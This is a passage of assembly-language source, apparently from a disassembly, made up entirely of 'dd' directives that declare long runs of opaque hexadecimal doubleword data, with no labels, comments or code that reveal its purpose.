0BC3EF8C0h, 53B6002Fh, 609CA8F0h dd 8B008E16h, 0ACCA5CC5h, 73E2B047h, 6B542668h, 804600DCh dd 1F8B5C6h, 4BCFE00h, 4084E71Bh, 291E2BBh, 93ACFA0Eh dd 0B8680F10h, 8270EFF0h, 6FD10206h, 7D20FBA6h, 92A92C78h dd 54D801DAh dd 20296CF3h, 1E01E264h, 0BCA568BEh, 807093CDh, 0A9641449h dd 873DB439h, 58841FF2h, 0D9A880EFh, 823C6621h, 0F98FCC00h dd 0CB33E777h, 0E1AA0388h, 0E4BF8597h, 7BF853ABh, 0C6007562h dd 99B0AC15h, 14EE3F88h, 0C4E5AA7Eh, 0FE9CB40h, 26935BD6h dd 0B6838700h, 0FD007661h, 82F53421h, 744B67A1h, 86BA0042h dd 71E73645h, 0CD6019C2h, 0CF70E211h, 0D94C1D09h, 0BDFA001Dh dd 0C3C06C6h, 0C85E2A00h, 897F4F5h, 3F7A1DAAh, 9BFD401Bh dd 164846Ah, 2008C58h, 88A3C59Fh, 357C076h, 14B90Ch, 0D1663D27h dd 6D12E818h, 0D05EA196h, 0AC42471Dh, 0E2567F09h, 0C51E6024h dd 3FF600F5h, 70F93499h, 77031045h, 0FCC183EEh, 92D5D08Bh dd 54AA5CF1h, 0F915E01h, 9EA80BD0h, 0CD065310h, 219D5Ah dd 0D0B72946h, 0F14216Fh, 85F9BC01h, 0C550CD4Dh, 99DE9C0h dd 892EF0CAh, 0D0470087h, 0BE3269DCh, 0F4A0DF7Dh, 75004D9Bh dd 44DB18EFh, 0A458AFh, 93A67431h, 3880C3FCh, 24C7A00h dd 0C80F25A0h, 7B4005Dh, 0FD6E40D9h, 2F07148Ch, 0E9DEE07Ch dd 0D161B751h, 162AE8h, 0FC287DEEh, 0BCA25BCAh, 0F8A15C24h dd 0CE79CD00h, 8D099Fh, 2CDC3802h, 6EE775FAh, 0FE1C2200h dd 6547C17Ch, 0C7F42C42h, 8A5C004Ch, 19351402h, 8CB1E300h dd 4CBBEBCBh, 2532001Dh, 588D9F4Eh, 69011595h, 2AC99B88h dd 0F8E4CCF1h, 96520063h, 0B60B9C5Ah, 0A907E9F6h, 0A3E733B7h dd 0E0D02295h, 18D35Bh, 0E0B69180h, 693D4554h, 0EAECCDF4h dd 3C436E00h, 4D9CEC6Ah, 46753A68h, 0C780EB38h, 3A0D62C3h dd 0F600E741h, 6F71CDC0h, 0B7E1FEh, 8269DA52h, 5C4EAA67h dd 0C60DE900h, 0BA5793B6h, 0F4891D1Dh, 0C977C05Dh, 0D607DCCEh dd 1801644Bh, 0E5DE7321h, 7F0F5038h, 0F6AB09h, 0AA4E3FF2h dd 7B5D06F0h, 0A1EE0574h, 14C3A0F2h, 0BCC08C72h, 4B3DBE6h dd 4AB46764h, 9788A006h, 947E0700h, 0F2BF8730h, 0D5563D52h dd 1C4B279Eh, 8B68C08Ah, 49120D76h, 79637000h, 98A386D4h dd 72FD5C48h, 68228F00h, 0E4A4CCD1h, 69D98A00h, 340B2BA2h dd 871A00EAh, 0F55BC711h, 0BE000657h, 0C3DDE25Eh, 3A25B1h dd 7F83DE2Fh, 0FA154513h, 55AD5Ch, 0F3E4E649h, 79E8D144h dd 0EE5E0253h, 8A2C9338h, 130F08Ch, 31103501h, 0EF962A6Bh dd 82CD2080h, 785F1C3Ah, 3EECB75Fh, 4F2CD81Dh, 9CA34A49h dd 1077DCCBh, 701B4301h, 153354CEh, 257B7830h, 5C748329h dd 0AF14E800h, 3FAD95ABh, 0EC802F08h, 90DE3861h, 3A032C60h dd 4B04036Bh, 0A863FB53h, 5780B8h, 150F56E4h, 0FE6B51C0h dd 685CA100h, 9735B411h, 5DB00D2h, 368FBF89h, 9CECDDCEh dd 0C2BA6B00h, 0E839345Ch, 61E50087h, 0AA3D4128h, 692C852Eh dd 6C0E1915h, 0FE99E1A4h, 88E87D6Eh, 0AAA1008Eh, 9FEADC70h dd 0C40C34D1h, 700B10FFh, 0E87F26DEh, 984600CAh, 29D5E7C0h dd 3CFEA200h, 1A128361h, 14E4009Bh, 0C35ABE8Bh, 67284427h dd 0F600E071h, 0B7657977h, 17E93F9h, 0EE12695Ah, 41BEE2D9h dd 21C4A8ECh, 0F842C4A0h, 0CDFDBC00h, 467F0A72h, 0DA3B0E96h dd 9DC080E3h, 21A40E4Dh, 55007A7Ah, 667A6E0h, 860DE4h dd 0E6A0495Ah, 1B80317Fh, 0AF4CF300h, 6DEB3A52h, 3666309Ah dd 0B178D69Eh, 0B097372Ch, 73AF6400h, 0A04B5FCDh, 1DAEFBFh dd 477D93E9h, 20A91D70h, 73009F90h, 0AB136E5Dh, 0F959434h dd 14154E84h, 0A0923204h, 410B59B4h, 901658h, 37E82938h dd 2505E8A8h, 140F770Fh, 951D1182h, 6000B050h, 62A7BB3Ch dd 0E8ABB4F4h, 0BA93FCD0h, 15890B0h, 37E00244h, 0D1C829FDh dd 0A215600Fh, 107D3A00h, 99762584h, 86B2002Dh, 5C0189CDh dd 0A503645Eh, 0B4BFCE1Bh, 0B8380417h, 0C60ADFD4h, 293E89D1h dd 43C400F0h, 0BB55E893h, 841406A8h, 58A40894h, 44B65E15h dd 0BADA0094h, 0B2D4FD7Bh, 5FF51CA6h, 781840CDh, 0C38F45D2h dd 9C31D800h, 0B6DC9581h, 0C7F000D3h, 490B37DBh, 0E00625Fh dd 6E54BEFEh, 0FC88BCh, 44F7BD41h, 4DE9E25Dh, 525B5A00h dd 42AB70A2h, 0FCBC3B74h, 2940CD80h, 595635B9h, 0F4D3Ah dd 4C6AB421h, 15BA9C3h, 49B2C4Fh, 0D02F1597h, 0DC00B67Fh dd 60B518D8h, 745A40F3h, 41AD00AFh, 0F80BEF2Fh, 6E08832h dd 1E351D03h, 0A0804CB1h, 0EE7159F4h, 0D85219B3h, 40C99216h dd 701A658Bh, 2DD71300h, 322E3547h, 0E1340307h, 0D601515Dh dd 0DAD8D2B5h, 0B0010742h, 402A4E08h, 4A2F3688h, 0C00C8670h dd 280BB067h, 0FCC60244h, 349D08D4h, 32218324h, 10B012B4h dd 97899675h, 0B2449F08h, 0C5C744ACh, 10F28045h, 98884804h dd 7CFD40C4h, 0FFBF8244h, 6D4F2300h, 8C074BB8h, 2DCCFEBh dd 80F24E77h, 5A2140F8h, 0B846007Dh, 0C8905177h, 0D00E7D5h dd 8D75554Eh, 0F6D6C9h, 27415209h, 0C8E5AE77h, 4443F200h dd 3F5A7531h, 6E603C8Eh, 0D6E74B07h, 64DAD046h, 0BB002FD3h dd 7E20858Bh, 12C7AF0h, 0D7C7BA48h, 0D0C15B23h, 0F600F354h dd 53A5E8E5h, 1C93EF1Ch, 800CB8A1h, 8E5FA235h, 7E009B64h dd 22C0790Ah, 1FAB1129h, 80844933h, 0EEC702D0h, 3200AC35h dd 4ECF5EE9h, 9F75B9h, 0EF49BD9h, 380B8480h, 0C1134C16h dd 23B1E447h, 987B2AD3h, 2D0D34h, 5749A191h, 33B010B6h dd 0E0B31200h, 264637FEh, 0A283007Ch, 550FD825h, 333F456Ah dd 2ACD80F3h, 91A622D9h, 42EB0C4Fh, 25404B77h, 3A0F6701h dd 0C37D538Fh, 0BC2564EDh, 9CE094CDh, 45253E87h, 0B480E2B8h dd 1E029EC7h, 1200E85Ch, 0EB60313Bh, 83A151h, 61DA102Dh dd 9B9342F8h, 6C87AB02h, 0C0D16207h, 0EC8DC6h, 0CEAEE789h dd 59BA2BF5h, 5502A190h, 2AC7DE82h, 583B6349h, 4D004021h dd 9DCC6545h, 923E7FF8h, 790073C9h, 0E5A6ADBEh, 130C3B3Ah dd 0EBEC895Dh, 0D92B1B00h, 7DE2FE49h, 56380E9Ah, 1BAF1EDBh dd 0DF7DA7E0h, 6E00FC7Fh, 0EA6F4071h, 1AC1267h, 559C6536h dd 0D190C7BDh, 0D491E587h, 631DEE41h, 9800F3F7h, 85B997CBh dd 807F60ADh, 9314ACEFh, 0A3FCE500h, 0B4F344AFh, 6A0A039h dd 7F260076h, 2B839359h, 2E000E0Ah, 9749E1B7h, 0BC6151Dh dd 40818F36h, 0EC179500h, 0E600C19Fh, 60462D6Eh, 2C2AEEDh dd 8E68DA8Ah, 68484D87h, 7F001A7Ch, 0CC579EC9h, 7FDD215Eh dd 0FE130125h, 0A0AC2641h, 0CA4C404h, 0F8126000h, 0F33C996Dh dd 384848CFh, 0B64EC500h, 8CFA0D0Ah, 76E76900h, 0E15947CDh dd 0EDA01D4h, 6772AB95h, 0D0A841B7h, 2799D8F8h, 4C394A05h dd 1490D864h, 0AFC84Eh, 0F7DD2685h, 0D962FDE7h, 0E636B100h dd 0BD799F8Fh, 0F9420115h, 16A52EFFh, 876AD0CFh, 0F5E4D77Fh dd 8D557C03h, 99C5B30Ah, 18C432DEh, 2FA517CDh, 501684h dd 57936F11h, 60001182h, 1DA98890h, 0AC7E01h, 1B5025DFh dd 3B894D6Bh, 1EE1C200h, 0CAAFD814h, 54FF268h, 71D2FDFEh dd 0F0C6004Dh, 813136ADh, 0E3013C03h, 0C174EC96h, 0D5ECEDC0h dd 84D159A9h, 0CE401300h, 42BE88BBh, 670D3600h, 0E1F0C3D6h dd 713A00F5h, 0D76A7E6Fh, 0BD003E2Ah, 3DEF1575h, 16B90FBh dd 0E81874B0h, 8E7CF0E9h, 80F1813Ch, 1FC58825h, 0BA7A00B7h dd 0C6754B99h, 69004C98h, 16F76BEAh, 3965ED9Ah, 2F005F8Fh dd 0B85D9DBFh, 0DE07F945h, 0A5646FBh, 0CFAC4060h, 4DD607A8h dd 203E43A4h, 0F85FD280h, 0E0AF1724h, 5BBA7107h, 96650DD0h dd 0E41F00B8h dd 0F21E26BDh, 9C00C232h, 0CDB9769Bh, 215CC46h, 6899B1EDh dd 1060B2C1h, 0FF3EB66Eh, 67BCD0BAh, 16740E00h, 6964D8Eh dd 0BFDB00ECh, 0F5FC5A0Fh, 8904EA9Ch, 5B6F56ABh, 1911B8C0h dd 5966262Ah, 0F8BA1640h, 161A0258h, 40D64276h, 137D68E0h dd 0EE9E56Bh, 0CA744767h, 935AF600h, 7A5B209Fh, 0AF1B6300h dd 0E183E905h, 993E009Ah, 2AC847Bh, 5317402Dh, 4600FA9Bh dd 4DE71778h, 0D7A000Ch, 6373DD9h, 9A00CE48h, 0BA19E4D5h dd 0E24922AEh, 1C820099h, 67C3798Bh, 0B8007521h, 27140B4Fh dd 0F6302958h, 0FD5500FEh, 834838B2h, 0B51E336Ch, 17C7F774h dd 0E3602902h, 188DF486h, 102EF104h, 31115103h, 2F3FEDA8h dd 40030BDh, 9FD92933h, 0B5031FABh, 0E5BF0B40h, 130A07Bh dd 0F243003Ah, 145CEACCh, 820B5B73h, 8055AEC1h, 3A223F3h dd 32680064h, 0C41ADB0Eh, 0A305F974h, 0D8630FDCh, 503D4E80h dd 4EE406D6h, 105431CCh, 8C6B2500h, 0C1110108h, 0B29B127Fh dd 1EE00097h, 9C22AFEEh, 596528C0h, 24AEDDB8h, 0CC62E6h dd 44681AECh, 3A005EF9h, 58EAC33Ch, 0A567D8h, 77F666D7h dd 38D588D4h, 0E8280900h, 6E924CC7h, 94510091h, 8833B6E3h dd 260E9D2Fh, 8E73D08Ah, 42B16097h, 7A8BDF82h, 27A81DF7h dd 3683B96Fh, 0BFB07BA9h, 2F228DC8h, 0F863A201h, 0C7D96757h dd 4DDC8371h, 76C239A1h, 0F542230Eh, 72CD5540h, 0B001EF20h dd 0D9357825h, 0DE303657h, 0FA31FE5Dh, 32AE0759h, 131F9C2Ch dd 392FECBh, 0F3B0C843h, 0FFF453E8h, 0BA1B4900h, 99CC1744h dd 0A6B006Ah, 0FA811D6Eh, 1900B920h, 0E47472ECh, 92AC8Ah dd 5B079324h, 0C4E8291Dh, 5A01B300h, 47F91B40h, 211DDC6h dd 240A8410h, 0CA8E80FDh, 0FF52B00Dh, 3C67F4h, 73295002h dd 0E1FA1B42h, 0C35C2601h, 0B06389F9h, 740A830h, 2491F85Eh dd 0AC6DC0F7h, 0C27CB6C1h, 3A280100h, 9B65FAC4h, 0BB5D020Ah dd 0FFE0957Eh, 0B88BC080h, 0F300AB7Fh, 0A1702FECh, 0F0431E6h dd 7CE1EB7Dh, 0F9616A81h, 3549D484h, 749FB4Ch, 333B8CBDh dd 0E40B2560h, 908E0053h, 1609DED4h, 89005F59h, 5CAD895h dd 253134h, 0A28F7EEBh, 0BC3F9208h, 0CAF0C6F8h, 0DA6AC407h dd 1A30E727h, 0EF8D4DCh, 0CCBBFD4Bh, 1FAE0092h, 0AB9CE926h dd 0BAEFBC03h, 9078B102h, 0FCD6F9E7h, 3B0D2h, 8CFF7C3Fh dd 1029C917h, 47168600h, 69EFBB36h, 6E1300C8h, 1DB63124h dd 460088F3h, 4A664CBDh, 1C085B7Eh, 467C4EBAh, 1057C4B1h dd 7A76B00h, 5EA33C96h, 0BD2B0FE5h, 0E3C17AC5h, 0F8F8E815h dd 0BA817BA2h, 47FAF4h, 205D7251h, 0B3A3FF02h, 84DB4402h dd 80A66EC7h, 3FD868ACh, 4F610094h, 0E0D9A2C6h, 58039C47h dd 92EBC156h, 864E8E8h, 0FE460082h, 80CC52D7h, 4100CE12h dd 0C14D9203h, 4CA1F94h, 0AE619B87h, 0A5CC007Fh, 65EC273h dd 0F7BC86A0h, 8EE8183Fh, 89B8BF7Bh, 1A96541Fh, 86A36F05h dd 3936ECC3h, 11872CDEh, 0A0969982h, 0D9AC6174h, 0C65FEC00h dd 147DF13Dh, 0E4D30165h, 5DFBEEEAh, 0BE47F881h, 80D96803h dd 0F8BBEF6Ch, 3E2DFA3h, 5BECF50Dh, 80D79862h, 55F6F173h dd 0DA226400h, 0C9874B04h, 0C14300D3h, 9A71C6FEh, 7B005523h dd 6D4F157Dh, 18EF94E0h, 0A8906C2Dh, 66003B5Ah, 14926291h dd 774FB255h, 0FA33002Ch, 677383A3h, 0EA00CD52h, 276B0138h dd 1CC530h, 3A9933A7h, 23AB450Fh, 593160E6h, 5DD64C70h dd 2EBBFCE8h, 0A4EB42h, 0DDE9CDFAh, 0D907E879h, 613E2314h dd 93D851E0h, 74EF0065h, 0D16B4C8Ah, 0F20070E8h, 0D52B1DECh dd 96D422h, 0AF4BF4F9h, 4356BB27h, 2C5A3500h, 0D68EDBA4h dd 0B7A73E2Fh, 80DAAE1Fh, 94FD1417h, 82006727h, 3D9AE9F1h dd 842213h, 0C74385ADh, 607CE31Bh, 7DE84D0Ch, 1E6810C6h dd 0C06F63CCh, 9E16F94Eh, 29073EC8h, 0BBBD3FC9h, 0EF56C0B0h dd 0BF4C1F96h, 0AE3B0E3Ah, 4675D9Eh, 0C0537192h, 0DF2E600h dd 892DC100h, 0B0FA31E2h, 0C094095Eh, 2000E074h, 0A0211ACDh dd 34B97A00h, 0A6BBE841h, 0B80D1454h, 95019C09h, 4717408h dd 0CF10809Fh, 7E6C2F41h, 2C8D9852h, 284106A6h, 6EFE8Fh dd 6DF888B5h, 1751DDE8h, 4D2F1000h, 0B95DA482h, 4E2900EDh dd 248C6C77h, 0FF1DD70Bh, 3907CBDFh, 0D6205860h, 0E37166Dh dd 1D1838F4h, 7AAA1E80h, 517952F5h, 7964D703h, 0C04FD527h dd 1EA16BA4h, 0BACADC78h, 0DEAE0073h, 0EC52C61Eh, 0E900B4B0h dd 828A6B28h, 30D34Ch, 10ACF9C1h, 97FFC2Dh, 0A28E6007h dd 3C80185Dh, 18AED8EFh, 186765A3h, 0C4000479h, 43F333CEh dd 3EEE25B4h, 0D101B542h, 0C6DCD454h, 0EBFBFCD7h, 2F08B0A0h dd 83CD0F00h, 64890ADh, 74070037h, 0EB87B06Bh, 9D2EDEE9h dd 0BA0056BCh, 88B4EEFEh, 376F017Eh, 0AFEFFD0Bh, 33AC4089h dd 7900C861h, 0BBEEC2E0h, 0B96E04h, 4B27DCA7h, 26AA7D09h dd 84AC3E01h, 39F476D7h, 0DFE82FE4h, 0C26D87A0h, 0A5818733h dd 4F7DC3F8h, 8B9B0690h, 515BA001h, 9D95BF5Eh, 61421080h dd 0D43088CFh, 0BD78FE00h, 0E5EF0B13h, 0CCFE34h, 0AAF9C47Bh dd 0DB25CFCAh, 0DE6FB900h, 3F27338h, 0A9795C96h, 7A621C00h dd 9D9E35ACh, 0D41D9B03h, 0C056D98Bh, 0FDB3054Ch, 7589030h dd 90E5D768h, 0D65E0DFh, 4D3F9F71h, 7C118089h, 0F5E77902h dd 0F7EED8h, 0BDA3288Fh, 321E2310h, 9D009277h, 19AEA4B2h dd 20D12BF8h, 0FC0077FEh, 780DE3F5h, 3EDFEEh, 6EDBB206h dd 4146DEBBh, 19317E00h, 0BE52CE7h, 5FE80B84h, 16807952h dd 4114A232h, 0E672ED16h, 0F10C3C00h, 0DC5D63h, 4DF5D252h dd 0B4223A98h, 0B8C8CC00h, 9CCA5304h, 288090EFh, 0E6AC6F31h dd 48497D59h, 975989Dh, 0F9AE2FC7h, 0FE1BA820h, 8158895Ah dd 488A32A4h, 0A42F229Bh, 0CB80A727h, 995E8Dh, 60E595F6h dd 9B6D0874h, 107FEC30h, 48BAFD7Bh, 631EE011h, 7EAB428Ah dd 85E146E9h, 0BE1FE85Ch, 2FE7F000h, 4BD95F2Bh, 0A90B00AAh dd 50CA2530h, 0EE000E7Fh, 0A7D4D313h, 0CC7DDBh, 86C2014Eh dd 0F3C6CBA4h, 3F265300h, 75561DBFh, 0E73A0083h, 20B63EBDh dd 0C200522Dh, 0A738CBF9h, 0C6A6EB8h, 61180E22h, 600B618h dd 9AE7B232h, 2EF0171Fh, 20834F7Ah, 23B0F4h, 9F5BC119h dd 8E0732E0h, 6D6AC300h, 0B15ABA17h, 53050052h, 41CB9AA8h dd 9E01C461h, 0D2E65E3Dh, 12835C88h, 24CC3630h, 92070DC8h dd 1835062Ch, 0C2B09700h, 53D1FDh, 0C8A07E44h, 4AD9F5B9h dd 0AB773D00h, 39ED7260h, 123FA1Bh, 0B8550E5Bh, 80C1371Fh dd 0B440B5D0h, 0B833B2Bh, 8B9829F3h, 0DD265400h, 1F09E703h dd 206CB2F8h, 0AF365BB4h, 718A3D61h, 0DD38FD00h, 0DE68493Eh dd 0FF63230Fh, 6DF24597h, 5BFC50D0h, 15E7B57h, 0A029B093h dd 40463D8Fh, 475A7A9Ch, 41741A18h, 0DB9E10h, 4E137252h dd 9495FEC8h, 0DC040200h, 8E71A20Bh, 89B51FFFh, 80F4A666h dd 45A7ACD8h, 4290D78Fh, 0A1E05BF0h, 68CCD31Fh, 5A8938ACh dd 0D20C801Ah, 0BE8B13h, 28179FA5h, 70CB380Bh, 0C75E1903h dd 80718248h, 3FA764F7h, 970025C9h, 0BB59C195h, 701E370h dd 886E6DAEh, 0D6D0A042h, 18B21476h, 0B400D8A8h, 0C6517974h dd 0AD0365BFh, 631C2D5Dh, 99BAD8F5h, 0E7E10194h, 7009F414h dd 53222096h, 3CA14F00h, 0B320EB37h, 3E710083h, 7BDADE89h dd 0E9C0B2D3h, 33C47650h dd 48F600ACh, 5E1F2EB0h, 9801B37Ch, 6631B2DFh, 21E0E594h dd 0CDB074h, 0D835034Ch, 57A982C7h, 338C4F54h, 0E113E0EEh dd 0B8029FA8h, 1690B59Ch, 61DE600h, 0B70F6AAEh, 23F10097h dd 0B8465580h, 1E480C96h, 11661EC8h, 0EE38C887h, 3A04FE80h dd 73E501C1h, 62D7103Bh, 9FCE30F1h, 2C418A09h, 4FB08046h dd 7DEFBDA4h, 43A75B7h, 9A8F5EABh, 30A480E3h, 95044E5Ch dd 2FF49468h, 801F99C0h, 560A007Fh, 0EFE9E5D0h, 6AFE0427h dd 420006B0h, 641DCB73h, 4E78FCh, 0A1966268h, 8159FCCh dd 25FE7907h, 5E443811h, 237E6080h, 3827707h, 3D579FB3h dd 4ED36BD0h, 2F51A088h, 6A8D500h, 0E1EDDA03h, 70E79B8h dd 55BD5432h, 86D6E0EEh, 73989F4Eh, 0E9800D60h, 2B6659h dd 11750AE5h, 7C671771h, 9951A903h, 0F9BE2A15h, 19301ED4h dd 0E030483Dh, 24CB2B50h, 0E64Eh, 29B872C0h, 3C7DEE2Ah dd 0D76BD00h, 3E0522ACh, 898D00A6h, 2106C8AEh, 75044E47h dd 0F5C0C551h, 0E57B00D0h, 0A83500AEh, 1AEE1E1Dh, 432CB505h dd 0FA0048A7h, 852F3D2Ch, 65C60677h, 18E95B25h, 8DF71A0Eh dd 880C8971h, 22061808h, 0A92F24h, 0AE8805DAh, 0B28765D8h dd 98C20904h, 65803112h, 0F398DD7h, 73796C99h, 0BEB1100h dd 6901A42Dh, 8DCF2471h, 5982E77Bh, 579BCA3h, 0A2B904C8h dd 0B0DB7406h, 0FB80F54h, 0D0C6358h, 0B88DD6A0h, 2F00272Ch dd 46F15FA3h, 0B36F9Dh, 0D8BE451Bh, 0B6088A32h, 75D20918h dd 13E70190h, 58F5207h, 0C0507EA7h, 0DA985FF5h, 96218600h dd 0A66544E1h, 775A0003h, 407B1C35h, 0AB005C70h, 0C2478959h dd 0F9452A7Fh, 0C09A60h, 0C12734D4h, 0B4A880ACh, 58E3D73Fh dd 0CC890527h, 4AC0EF8Eh, 8C585Ah, 4265710Ah, 33DF607Ch dd 0E909AF78h, 0EB893C8h, 0E0D6C071h, 58EB2064h, 9C24C851h dd 3A9687F4h, 774EE00Bh, 0AA005DA5h, 2FBDE955h, 65C109Dh dd 19026922h, 354CCB0h, 0E21C7BA0h, 5280923Dh, 0F90C6785h dd 3FB20C2Ah, 4358A2A0h, 0E42E3A2Ah, 4F1DCD01h, 160CCEE4h dd 94C8A1E2h, 5C758EE2h, 2423E0h, 11EB1B13h, 65A67BA8h dd 3017F300h, 10D4786h, 0FDB1E0Eh, 7A838024h, 0F9E3D1B1h dd 4A344254h, 91C69F00h, 94A58927h, 0D84300B0h, 42052BA7h dd 7A00F41Bh, 753CABB9h, 6129F57h, 0F9D11AF3h, 0A003D90Bh dd 6C3D8225h, 0FA6BE984h, 3733D4h, 0A97C33Ch, 0F6654B39h dd 132EBD01h, 2B010BC9h, 8193F880h, 98BC26E1h, 0D4F5E1C0h dd 0E20D2C9Bh, 0D02A0514h, 439AA1B4h, 0DA76A680h, 8C65EE00h dd 1660608h, 1BED0224h, 5D4BB943h, 31A89086h, 0FD7F0EFAh dd 8D0188BAh, 8886C791h, 7BD0C941h, 77C507DCh, 703D539Eh dd 0E707B89Ch, 4BDD2100h, 64057662h, 657C56h, 7A903D85h dd 3F664686h, 33294400h, 0D53478D7h, 35A605FCh, 8082D4E3h dd 11D86659h, 25E0CF1Eh, 0B618CEDDh, 90EE6421h, 14770292h dd 89BE07F1h, 9EBB9161h, 76BC6B21h, 6281570Fh, 0EECEA154h dd 0E9D19219h, 28D6D8h, 6D86F02h, 1FF8B995h, 74D5010Ch dd 0A2409Ch, 0E66EC335h, 0B9705A14h, 0A062210Eh, 218A8CBAh dd 0E6870F25h, 0FFA07765h, 0E15316C7h, 9D615D3Bh, 94806B43h dd 72E3346Fh, 7A0C1BA5h, 0B4C038E0h, 17006367h, 6F404154h dd 0E842194Bh, 8D21C3BDh, 24D8636Ah, 0A302E63Ch, 813FD456h dd 0FDE62ED6h, 7498A98Ah, 2569DE00h, 37409D92h, 5C4634FEh dd 103C2E80h, 5C0A3AFh, 45DFA797h, 0FA0D9800h, 0AFA2DE7Fh dd 94B25289h, 65046F23h, 7C415E6h, 26249438h, 1D9EE67Eh dd 2DA691h, 0A75F206Eh, 0AE14DE3Dh, 62CB8F5h, 0C49DB0C7h dd 14600E10h, 32808EFFh, 0A40276A1h, 84E55609h, 1F5D00DAh dd 0FE5D63h, 0AA03AF9h, 3007D06Bh, 8834D500h, 213781CDh dd 96695C7Fh, 9CD98407h, 65B0307Bh, 84904D6Ah, 0F100377Ah dd 69440370h, 1684E1h, 6820229Dh, 9CA59ECh, 85197503h dd 1E2C58E6h, 0C0FB0118h, 5CAA697Eh, 0BD0064A4h, 24846D89h dd 0ED9ABBh, 35650D78h, 694FA161h, 0C2C49900h, 2383001h dd 137D1058h, 0F93C0344h, 0BFEB3B6Bh, 20E31DC1h, 3C9CD8F0h dd 7061510Fh, 0D3251966h, 5B2240E7h, 9807404Eh, 59162E8h dd 26B29610h, 95E6126Ch, 868A006Dh, 3778B7E2h, 5168270Eh dd 13222061h, 1D12B2F3h, 810533h, 0CD60F6C3h, 0B0A8607h dd 4F2AF4Bh, 0C2056200h, 0C003C0F6h, 391A7D14h, 2B00FA81h dd 8AD70643h, 18E115Eh, 8088D65Ch, 0D3F7EA02h, 5D005879h dd 0EC5579C7h, 0CC73CE67h, 0B621E209h, 4EC4D500h, 0D4620233h dd 5A830008h, 1F80F69Fh, 760B4D46h, 619D63Fh, 0C020B659h dd 0C2DC80B1h, 14672889h, 37A07211h, 7E71DA4h, 8F85A1D2h dd 213946C8h, 3844B50h, 0F45ACF0Bh, 92803F2h, 0E7D6FF83h dd 0ACFE3091h, 25684961h, 9008AB00h, 7AE75BADh, 3B80DDD7h dd 811B6280h, 4F0BD9F4h, 0B92C5A00h, 0CE3153B1h, 0A0F57C22h dd 306260B0h, 0D28C2BFh, 0F800FEC7h, 0BBC89063h, 2DD2A31Ah dd 0AFCCC38h, 53F78D00h, 1CE90BABh, 42C09E37h, 0BECC982Dh dd 0E6F9A5E3h, 5DBFFC6Fh, 3A324100h, 9FE1E7Bh, 81771C91h dd 0AD803DB3h, 8DA5D178h, 0C63A80C3h, 0FF1C858Fh, 26C0F268h dd 16FE4B9h, 0D07A9722h, 0D0154F94h, 0B70F187Eh, 20204DC3h dd 22F7C651h, 24E01Ch, 9DD5803h, 83D62B6Bh, 0BD9C5B00h dd 0B5483D8Fh, 61A8142Fh, 0E203930Eh, 8CA43A7Ah, 3743B4D8h dd 977F9FB0h, 0D6D56C03h, 0C29C40BCh, 0B145402Eh, 46D200C0h dd 0E9F8C63Eh, 7B00578Fh, 5E7FD0A8h, 3F9E8D71h, 1A8F6B52h dd 4C0AFE4h, 5AA39F2Ah, 8E20290Fh, 87924F33h, 5F91F398h dd 0AEC14380h, 9315F4h, 65992DADh, 0AFE633A4h, 52A1D609h dd 6D2808Dh, 3C933009h, 0CA006C7Dh, 8FA7E559h, 0E10B9ADFh dd 8022E651h, 6A5C4335h, 1EF00132h, 0B397235Ah, 9D4AF83Bh dd 0A2193800h, 899B7A8Ah, 728D061Ch, 29A351F0h, 0D1112F42h dd 171D119Fh, 0F438A621h, 22EEC289h, 0D2216C1h, 42E722A1h dd 8B2D0721h, 0E610D502h, 968008CCh, 0A545EBB3h, 0D593C04h dd 4AABE044h, 6E1F14DFh, 0ED218CD0h, 18937110h, 5EBB2808h dd 29031AB0h, 0B5F06B79h, 3D4FB87Ch, 0E2D90778h, 80EA61AFh dd 1A735F40h, 296FDA07h, 0B900D366h, 5724612h, 2311D20Dh dd 6E9E0043h, 8ACDFECEh, 9E176A03h, 0C82EB398h, 7636390Fh dd 0F4F100ECh, 577DC3E7h, 0C90152D9h, 5A38BE5Eh, 0F0CB3779h dd 32BAEECh, 8AE94B1Fh, 5BE8F0C1h, 3377B41Bh, 44ED3B00h dd 9F05D0EBh, 0E3DA1F61h, 12604082h, 5DD3E2D7h, 48327700h dd 166AA687h, 1C9E3D6Bh, 0BE710207h, 5E2F60A8h, 15007A05h dd 9B62A384h, 36D961h, 9958EFD1h, 0A9916E85h, 2DB69E03h dd 0F03D5033h, 6F5C5Fh, 88A44EBEh, 0D55D5E3Ah, 0B794E703h dd 718A6Eh, 6A5AA179h, 60EB74D4h, 0AFC62401h, 304F0EE0h dd 0B4F497E1h, 50151EE1h, 9A1F002Eh, 0F253BDDCh, 0EF3B3Dh dd 418A9BA1h, 62CEBA2h, 0DBA17AAh, 0FC00D028h, 0E7F56E42h dd 19E59B9h, 0AEAF1577h, 0CC5B1C0Ch, 0C301200Bh, 8E7F9830h dd 71D86CF5h, 0B37500ACh, 8BBB0EA1h, 0A3009240h, 823B8833h dd 576FF18h, 898C6ADh, 1EE8C0CEh, 6E7BC550h, 0BD832500h dd 469B720Bh, 0C0850044h, 0CCCB4CEFh, 0B700262Eh, 0F805A093h dd 7EC3B660h, 7F0207E5h dd 0E06BDF9Ch, 0BF59F4F6h, 0C73300Eh, 3A47E0ECh, 14388F11h dd 942D28FFh, 0E3D9F101h, 0C4CC21E4h, 0AD008376h, 0CE1CE1E6h dd 8E2C47h, 28A26478h, 23BE6DF9h, 8F6C8F8h, 4BF67702h dd 40C163F5h, 0C64E3Ch, 695E25Bh, 0DFE6272Ah, 4687EF00h dd 0C74C6CA0h, 992E3AF8h, 4481403h, 0A2C8E049h, 503E8B3Eh dd 0FFE98037h, 8541A751h, 278F00E4h, 3B14CC88h, 42007BF9h dd 0AF0944Ch, 9CF2EC9h, 22B21613h, 0D5E9EA80h, 94004317h dd 4B7E129Bh, 62619Eh, 0F65A0984h, 25E2D639h, 146FE724h dd 90E4851Dh, 1965A800h, 1EA91473h, 80782286h, 3A8AD45Bh dd 2F000E24h, 102AC276h, 15341F4h, 6C37C4B5h, 0D05EC0CAh dd 3400F95Dh, 6640A00Eh, 0E1C2F01h, 0BF10FB6Bh, 9207EB17h dd 0DEF08F32h, 1CB2330Fh, 4063C384h, 0ABF95ACAh, 4A00B0ECh dd 471086F0h, 2BBB9C9h, 46AF8C33h, 8D80EBD4h, 10CD3813h dd 47F73600h, 0BB567AE6h, 287E019Eh, 3AF6F3Fh, 0CA98D7F6h dd 6C00ACC8h, 0EE8CFD23h, 17FE88h, 0F41C5871h, 9FBF7382h dd 98EDCB18h, 0B0693A4Ch, 0F127073Bh, 82AD1C21h, 0BAC09BA3h dd 8E00B243h, 235EB47Bh, 3B348590h, 1D007AD5h, 764CE768h dd 0D7706BBDh, 5BE33E00h, 9DDD437Fh, 